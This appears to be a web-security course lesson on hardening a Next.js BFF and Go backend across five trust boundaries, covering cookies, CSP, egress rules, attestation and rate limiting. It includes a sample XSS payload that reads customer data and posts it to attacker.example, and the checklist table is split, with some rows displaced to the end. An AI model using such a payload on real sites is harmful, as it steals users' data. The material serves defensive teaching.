Take everything from Lessons 5 to 13 and place it inside a real Next.js, BFF, and Go deployment — then close the five gaps that mutual TLS and short-lived tokens deliberately do not cover.
Learning objectives
Map a browser, BFF, and Go backend deployment onto five named trust boundaries.
Explain a session-cookie and nonce-based CSP configuration that contains most script-injection bugs.
Bound the blast radius of a compromised BFF process, and state honestly what that bound does and does not cover.
Replace a substring selector with an attestation policy that cannot be claimed merely by choosing a process name.
Choose abuse controls that key on proven identity rather than on IP address.
Why this lesson exists
Everything you built works. A caller is proven twice, credentials expire in sixty seconds, and nothing sensitive touches disk.
And a single script-injection bug in your frontend still hands an attacker everything.
That is not a flaw in the design. It is the design's scope. Mutual TLS answers "which service is on the other end of this socket". It was never going to answer "is the code inside that service doing what you think". This lesson places Lessons 5 to 13 inside a realistic deployment and then works through what is left.
What you will not find here
A checklist that ends with the word "secure". Security is not a state a system reaches; it is a set of attacker capabilities you have priced out of reach. The final section says exactly which ones this architecture prices out and which it does not.
How to use this final lesson
Lessons 1 to 14 were a copy-along project using only Go, Node, curl, and openssl. This chapter is an architecture reference, not another runnable stage of that project. Its snippets assume an existing Next.js 16 application, container platform, and PostgreSQL deployment; you do not need to install those tools to finish the course. Read the snippets as concrete examples of where each control belongs, then apply the same boundary reasoning to whatever stack you later use.
The system
Three programs a user can reach, two they cannot, and a database nobody outside the private network can.
Flow· The whole deployment
browser
│ https, HttpOnly + Secure cookies
▼
┌──────────────┐ same origin: the BFF is /api/* on the
│ Next.js BFF │ very app that served the page
└──────┬───────┘
│ mTLS (SPIFFE) + Bearer <exchanged token>
▼
┌──────────────┐ ┌───────────────┐
│ Go backend │◄─mTLS──│ auth server │
└──────┬───────┘ └───────┬───────┘
│ TLS, private network │
▼ │
┌──────────────┐ │
│ PostgreSQL │ ┌────────▼────────┐
│ no published │ │ workload API │
│ port │ │ (per node) │
└──────────────┘ └─────────────────┘
The BFF being same origin as the frontend is the single most consequential choice on that diagram. It means no CORS, cookies that just work, and no credential in the browser bundle. It also means the BFF is your internet-facing surface and holds your strongest downstream credential. Everything below follows from that trade.
Five trust boundaries
Name them, because every control belongs to exactly one and teams routinely over-invest in boundary 2 while boundary 1 is wide open.
#
Boundary
The question it answers
Covered by
1
Browser to BFF
Is this the logged-in user, and is the page running only my code?
This lesson
2
BFF to backend
Which service is calling, and for which user?
Lessons 5 to 13
3
Inside the BFF process
What can this process do if it is compromised?
This lesson
4
Workload to issuer
Is this process really who it claims?
Lesson 11, hardened here
5
Backend to data store
Who can reach the database at all?
This lesson
Lessons 5 to 13 gave you a very strong boundary 2. That is worth having, and it is one boundary out of five.
Boundary 1: browser to BFF
The cookie contract
Four flags, and one of them is routinely made conditional when it should not be.
src/lib/session-cookies.tsTypeScript
import { cookies } from "next/headers";const ACCESS_TTL_SECONDS = 15 * 60;const REFRESH_TTL_SECONDS = 7 * 24 * 60 * 60;export async function setSessionCookies(access: string, refresh: string) { const jar = await cookies(); // Secure is unconditional. A production build that can run over plain HTTP // is a deployment mistake to fix, not a reason to weaken the cookie. const base = { httpOnly: true, secure: true, sameSite: "strict" as const, path: "/", }; jar.set("at", access, { ...base, maxAge: ACCESS_TTL_SECONDS }); // The refresh token is only ever sent to the one route that consumes it, // so it is absent from every other request the browser makes. jar.set("rt", refresh, { ...base, path: "/api/auth/refresh", maxAge: REFRESH_TTL_SECONDS, });}
Flag
Stops
httpOnly
Script reading the cookie value
secure
The cookie ever travelling over plain HTTP
sameSite: strict
Cross-site requests carrying the session, which is CSRF
path on refresh
The long-lived credential riding along on every ordinary request
A short access lifetime with a rotating refresh token is worth the extra route. Fifteen minutes bounds how long a leaked access token is useful. Rotation can also reveal refresh-token theft: if the attacker and the legitimate client both use tokens from the same rotation family, one eventually presents an invalidated token and raises an alarm. It does not prevent the attacker's first use, and it does not guarantee detection if the legitimate client never returns.
Why HttpOnly does not stop XSS
This is the misconception that makes teams believe boundary 1 is finished.
Read this twice
httpOnly stops an injected script from reading the cookie value. It does not stop that script from using the session. The attacker does not need the cookie; the browser attaches it for them.
An injected script does not bother with document.cookie. It does this:
what an injected script actually doesJavaScript
// Same origin, so the browser attaches every session cookie automatically.// The BFF sees an ordinary authenticated request.const res = await fetch("/api/customers?limit=5000", { credentials: "same-origin",});await fetch("https://attacker.example/collect", { method: "POST", body: await res.text(),});
Now trace that request through everything you built. The BFF authenticates the session correctly. It exchanges the session for a token naming the right user. It opens an mTLS connection with a valid SVID. The backend verifies the certificate chain, the SPIFFE ID, the signature, the issuer, the audience, the expiry, and the actor. Every single check passes, because every credential is genuine.
sameSite: strict does not help either. This is a same-site request; that flag governs requests from other origins.
The controls that can stop this attack live at the browser boundary. Eliminate the injection sink so the script never runs; use CSP as defense in depth to block its execution or the outbound connection it tries to make. The mTLS and token checks behind the BFF cannot distinguish that request from the user's own request.
A content security policy that holds
CSP is the control that most often turns "someone introduced an injection sink" from a breach into a blocked console error. It is a strong mitigation, not a guarantee: a nonced script you trust can still be a gadget an attacker drives, and strict-dynamic deliberately lets an already-trusted script load more scripts from anywhere. Treat it as defense in depth alongside eliminating sinks, not as a reason to stop worrying about them. In Next.js 16 you set it from proxy.ts, generating a fresh nonce per request:
src/proxy.tsTypeScript
import { type NextRequest, NextResponse } from "next/server";export function proxy(request: NextRequest) { const nonce = Buffer.from(crypto.randomUUID()).toString("base64"); const isDev = process.env.NODE_ENV === "development"; // 'unsafe-eval' is required in development only: React uses eval to // reconstruct server-side error stacks. Neither React nor Next.js use it // in a production build. const csp = ` default-src 'self'; script-src 'self' 'nonce-${nonce}' 'strict-dynamic'${isDev ? " 'unsafe-eval'" : ""}; style-src 'self' 'nonce-${nonce}'; img-src 'self' blob: data:; font-src 'self'; connect-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests; ` .replace(/\s{2,}/g, " ") .trim(); const requestHeaders = new Headers(request.headers); requestHeaders.set("x-nonce", nonce); requestHeaders.set("Content-Security-Policy", csp); const response = NextResponse.next({ request: { headers: requestHeaders } }); response.headers.set("Content-Security-Policy", csp); return response;}
Next.js reads the nonce back out of the header during server rendering and attaches it automatically to its framework scripts, page bundles, and inline assets that Next.js generates. A custom next/script component is different: read x-nonce in a Server Component and pass its nonce prop yourself.
src/app/page.tsxTypeScript
import { headers } from "next/headers";import Script from "next/script";export default async function Page() { const nonce = (await headers()).get("x-nonce") ?? undefined; return ( <Script src="https://analytics.example/client.js" strategy="afterInteractive" nonce={nonce} /> );}
Pages that use a nonce must be dynamically rendered, because a nonce cannot exist at build time. Calling headers() in the Server Component above supplies that request-time requirement.
What each directive is actually buying you:
Directive
Stops
script-src 'self' 'nonce-…' 'strict-dynamic'
Injected inline script, and any script the attacker adds to the markup
object-src 'none'
Legacy plugin embeds, a classic filter bypass
base-uri 'self'
An injected base tag repointing every relative script URL
form-action 'self'
An injected form posting credentials to the attacker
frame-ancestors 'none'
Clickjacking, and it supersedes X-Frame-Options
connect-src 'self'
The exfiltration half of the payload above
Roll it out in report-only mode first
Ship Content-Security-Policy-Report-Only with a report-uri, watch real traffic for a week, fix what breaks, then switch the header name. Enforcing a strict policy on day one against an app that was never written for it will break something visible, and the usual response is to add unsafe-inline, which removes the entire benefit.
Alongside CSP, keep the boring headers: Strict-Transport-Security, X-Content-Type-Options: nosniff, and a Referrer-Policy. And prefer having no HTML-injection sinks at all. Framework escaping handles this by default; the risk arrives later, with the first markdown renderer, HTML email preview, or raw-filename render somebody adds.
Keep credentials out of the bundle
The most common credential leak is not on the wire. It is a key that ended up in the JavaScript.
zsh — 80×24
$# Any public-prefixed variable whose name smells like a credential is a bug.
Run the application's existing production build before the second command, and make that search a CI step. A reviewer will not catch the day someone moves a fetch into a client component.
Boundary 2: BFF to backend
This is the part you already built. Two additions worth making when you deploy it.
Control
Lesson
Trust pinned to your own CA, never the system store
6
Mutual TLS, identity read from the connection
7
The user's own login token never travels downstream
8
Six verification checks, algorithm pinned
10
Sixty-second identities, no key on disk
11, 12, 13
One client per destination, each asserting its peer
13
Addition one: accept the credential exactly one way. A backend that takes the token from either a cookie or an Authorization header is reachable directly by a browser holding that cookie. Pick the header, and delete the other path.
internal/transport/http/middleware/auth.goGo
// Bearer only.//// Also accepting a cookie would mean any browser holding the session can call// this service directly, using credentials it already has. One transport, one// code path, one thing to reason about.func extractToken(r *http.Request) (string, error) { header := r.Header.Get("Authorization") if !strings.HasPrefix(header, "Bearer ") { return "", errors.New("missing bearer token") } return strings.TrimPrefix(header, "Bearer "), nil}
Addition two: request the narrowest scope per operation. A BFF that asks for one broad scope covering everything hands a compromised process the whole API. Ask for orders:read on a read path and orders:write only where you write, and enforce the scope in the backend rather than logging it.
Boundary 3: the BFF process itself
Now the honest part. If an attacker gets code execution inside the BFF — through a dependency, a deserialization bug, an upload handler — then mutual TLS does exactly what it was built to do and lets them straight through. They are the BFF. They ask the workload API for an SVID and get one, because they genuinely are the attested process.
You cannot authenticate your way out of this. You contain it.
Ship a distroless or scratch-based image so there is no shell, no package manager, and no curl for an attacker to pivot with. A read-only root filesystem means they cannot drop a payload on disk.
Deny egress by default
This is the highest-value control in this section, and it is usually missing.
Lesson 13 already gave you half of it: ClientTLS pinned to the backend's SPIFFE ID means a connection to anywhere else fails the handshake, so an attacker cannot make your BFF's own HTTP client talk to their server. Complete it at the network layer with an egress policy that allows the backend, the auth server, and DNS, and nothing else.
That rule stops a compromised server process from phoning home: a malicious dependency, a reverse shell, a data dump to an attacker's bucket.
What it does not stop
It does nothing about the exfiltration line in the XSS payload earlier in this lesson. That fetch runs in the user's browser, which is not on your network and obeys none of your network policy. Only a browser-side control reaches it, which is connect-src in your CSP. Two different threat models, two different controls, and confusing them is how teams end up believing an egress policy covers XSS.
Threat
Control that reaches it
Injected script exfiltrating from the browser
CSP connect-src, sink elimination, Trusted Types
Compromised BFF process or dependency
Pod or host egress policy, plus per-destination mTLS
Never let the backend take the BFF's word
The backend must independently check that the resource being requested belongs to the user named in sub. Not "the BFF already checked" — the backend checks.
Concretely, three layers that compose:
role or permission checks on the route;
row-level scoping injected into every query from the identity in the token;
explicit ownership assertions on user-specific artifacts, such as a job or an export.
With those in place, no single token can read outside what its own user could see. That is the layer most teams skip because it feels redundant, and it is the same argument as check 6 back in Lesson 10: two independent controls, so one mistake is not fatal.
Be precise about what it buys you, because it is easy to oversell:
What ownership checks do not contain
This bounds each token, not the process. A fully compromised BFF holds every session flowing through it and every session it has stored — so it can act as each of those users in turn, including any administrator who logs in while the attacker is resident. Ownership checks turn "read the entire orders table in one query" into "impersonate users one at a time", which is a real and worthwhile reduction in blast radius. It is not containment to a single user.
What actually bounds the process is the rest of this lesson: short-lived workload identity, a narrow egress policy, scopes the BFF was never granted, and detection. Assume a compromised BFF reaches everything its identity may reach, and design the backend so that set is small.
Treat dependencies as code you did not review
A malicious package in the BFF runs with the BFF's identity. It does not need to break in; it was invited.
Four habits contain that: commit lockfiles and enforce them in CI, block install scripts from untrusted packages, review dependency updates rather than auto-merging them, and pin base images by digest rather than by tag.
Produce an SBOM at build time as well. A software bill of materials is a machine-readable list of everything that went into the image, and it is what turns "is this vulnerable library anywhere in our fleet?" from a week of archaeology into one query.
Boundary 4: attestation you can trust
Lesson 11 identified a process by one substring of its command line. That is readable, and it is a toy:
Any process whose command line contains that substring is issued that identity. An attacker who can start a process on the node simply names it accordingly, and then they are your service.
Real attestation requires a set of selectors that must all match, chosen so that the workload cannot pick them:
Platform
A policy worth trusting
Kubernetes
namespace and service account and container image digest
Linux hosts
uid and absolute binary path and SHA-256 of that binary
Cloud VMs
instance identity document and the above
The image or binary digest is the load-bearing one. It binds identity to an artifact your build system produced, not to a name anyone can claim. A name is a request; a digest is evidence.
Keep registration entries in version control and review them like code. "Which workloads may be issued the payments identity" is an access-control policy, and a policy that lives only in someone's terminal history is not reviewable.
Boundary 5: the data store
One rule, and it removes an entire category of incident:
The rule
Every port you publish is an interface you have to defend as carefully as your API. A database port published to all interfaces routes around every control in this course.
docker-compose.ymlYAML
services: postgres: image: postgres:17 # No ports block at all. Only services on the internal network reach it. networks: [internal] backend: build: . ports: - "127.0.0.1:8082:8082" # loopback only; the reverse proxy is on this host networks: [internal, edge]networks: internal: internal: true # no route to or from the outside world edge: {}
Then: a separate database user per service with only the grants it needs, TLS to the database, and credentials from a secret manager rather than a committed .env.
Two traps worth naming, because both are common and both are self-inflicted:
Development compose files get deployed. Log viewers, message-broker dashboards, and admin UIs added "just for local work" end up on a shared host. Anything that mounts the container runtime socket is equivalent to root on that machine — keep it out of any file that could reach a server.
"It is only open for development" is a statement about intent, not about reachability. If the machine has a public address, the port is public. Check which compose file your deployment actually uses.
Availability is a security property
An authenticated caller can still take you down. After mutual TLS every request arrives from a handful of service identities, so per-IP rate limiting mostly stops being meaningful — the interesting key is the user inside the token.
Two layers:
at the edge, coarse per-IP limits and connection caps, to absorb unauthenticated floods;
in the backend, precise limits keyed on the proven identity: the SPIFFE ID for service-level quotas, the token's sub for per-user quotas.
That second key is only trustworthy because of the work in Lessons 7 and 10. A limiter keyed on a header the caller supplies is a limiter the caller controls.
The transport-level controls matter as much as the counters:
internal/server/server.goGo
srv := &http.Server{ Addr: addr, // A body limit belongs on the server, not in each handler. Handler: http.MaxBytesHandler(handler, 10<<20), // 10 MiB ReadHeaderTimeout: 5 * time.Second, ReadTimeout: 30 * time.Second, WriteTimeout: 60 * time.Second, IdleTimeout: 120 * time.Second,}
Add a bounded concurrency limit on expensive routes such as report generation and export, so ten simultaneous exports cannot occupy every worker.
Add circuit breakers on downstream calls too. A circuit breaker watches a dependency's failure rate, and once it crosses a threshold it stops calling for a short cool-off period and fails fast instead. Without one, a single slow dependency ties up every request handler waiting on it, and one service being unwell takes yours down with it.
Login is a separate problem with a separate control: throttle by account and by source, with lockout and backoff, because that traffic is credential stuffing rather than volume.
If you want the algorithms, the correctness invariants, and the reason a process-local counter is not a distributed limit, that is a course of its own:
When the limiter's state store is unavailable, does the service fail open and admit everything, or fail closed and reject everything? Both are defensible. Choosing by accident, at three in the morning, is not.
Observability that is not a second leak
Log the identity you proved, on every request: the caller's SPIFFE ID, the token's subject, and a request id. "Which service did this, for which user" is the first question asked in an incident, and it is unanswerable if you never recorded it.
Then be deliberate about what you never record. Header maps, Authorization, Cookie, and Set-Cookie must be denied by default in your logging middleware, not filtered case by case. Application performance monitoring and error trackers capture request headers by default — that puts your credentials into a searchable third-party index, which is a far more likely leak path than packet capture.
One trap: middleware that rewrites the client address from forwarded headers unconditionally. Only honour X-Forwarded-For when the immediate peer is in a trusted proxy set, and keep that set in configuration. Otherwise every audit log entry records whatever the caller typed.
The deployment checklist
Walk it top to bottom. Each row is done when the control is verified by something automatic, not when someone remembers doing it.
Boundary
Control
Done when
1
Cookies httpOnly, secure, sameSite, refresh path-scoped
secure is unconditional in code
1
Strict CSP with per-request nonce
Enforcing, not report-only, with no unsafe-inline
1
No credential in the client bundle
A CI step greps the built output
1
Short access token, rotating refresh with reuse detection
Reuse triggers session revocation
2
mTLS, trust pinned to your own CA
System trust store is unused
2
Token exchange, no raw user token downstream
Backend rejects the login token
2
Credential accepted exactly one way
What production grade honestly means
There is no certification, and no architecture diagram earns the word "secure" on its own. What the large engineering organizations actually do differently is not a secret protocol — it is these same controls, plus three habits:
Every control is verified continuously. A CSP that was correct at launch and an egress policy nobody tests are decoration. Controls that are not asserted in CI decay.
Blast radius is designed, not hoped for. Every component is assumed to be compromised eventually, and the question asked in design review is what that costs, not whether it will happen.
The gaps are written down. A team that can name what its architecture does not cover is in far better shape than one that believes it covers everything.
So here is this architecture's list, plainly. It does not address:
detection and incident response;
key custody and rotation of the root CA;
denial of service at the network layer;
backup, restore, and ransomware recovery;
insider access to production;
secret management beyond keeping secrets out of code;
independent penetration testing;
any compliance regime's specific evidence requirements.
What it does address is substantial, but state the result precisely. A caller with only a network position, a stolen actor-bound token, or a neighbouring service's identity cannot authenticate as the BFF or read the protected records. The network listener may still be discoverable, traffic metadata may still be visible, and network-level denial of service remains possible.
Code execution inside the origin or BFF is one major remaining path, not the only one. Compromise of the auth server, workload API, host, database, root-key custody, or a user's live session crosses a different boundary and must be contained and detected separately. The controls in this lesson reduce each blast radius; they do not make those components harmless to lose.
The sentence to end on
Lessons 5 to 13 make the backend reject a caller that cannot present the allowed workload identity and a matching, narrowly scoped user token. They do not make its listener unreachable, and they do not make the BFF inherently trustworthy. This lesson is about reducing what a BFF compromise can reach.
Lesson 15 checkpoint
You have finished the course when you can explain all of these without rereading:
why httpOnly does not stop an injected script from using the session;
which CSP directive stops exfiltration, and which stops an injected base tag;
why mutual TLS provides no protection against a compromised BFF, and what does;
why a default-deny egress policy is worth more than most authentication work;
why a container image digest is a better selector than a process name;
why per-IP rate limiting loses most of its meaning once every caller is one of three services;
three things this architecture deliberately does not cover.
The cookie path is deleted
2
One client per destination
Wrong peer fails the handshake
3
Non-root, read-only rootfs, dropped capabilities, no shell
Enforced in the manifest
3
Default-deny egress
Unknown host is a timeout
3
Backend authorizes objects independently
A forged sub cannot read another tenant
3
Lockfiles, pinned digests, SBOM
Build fails on an unreviewed dependency
4
Selector sets including an image or binary digest
No single selector is claimable
4
Registration entries in version control
Changes go through review
5
Database has no published port
Reachable only on the internal network
5
Per-service database credentials, least privilege
No shared superuser
5
Dev-only tooling absent from deployed compose files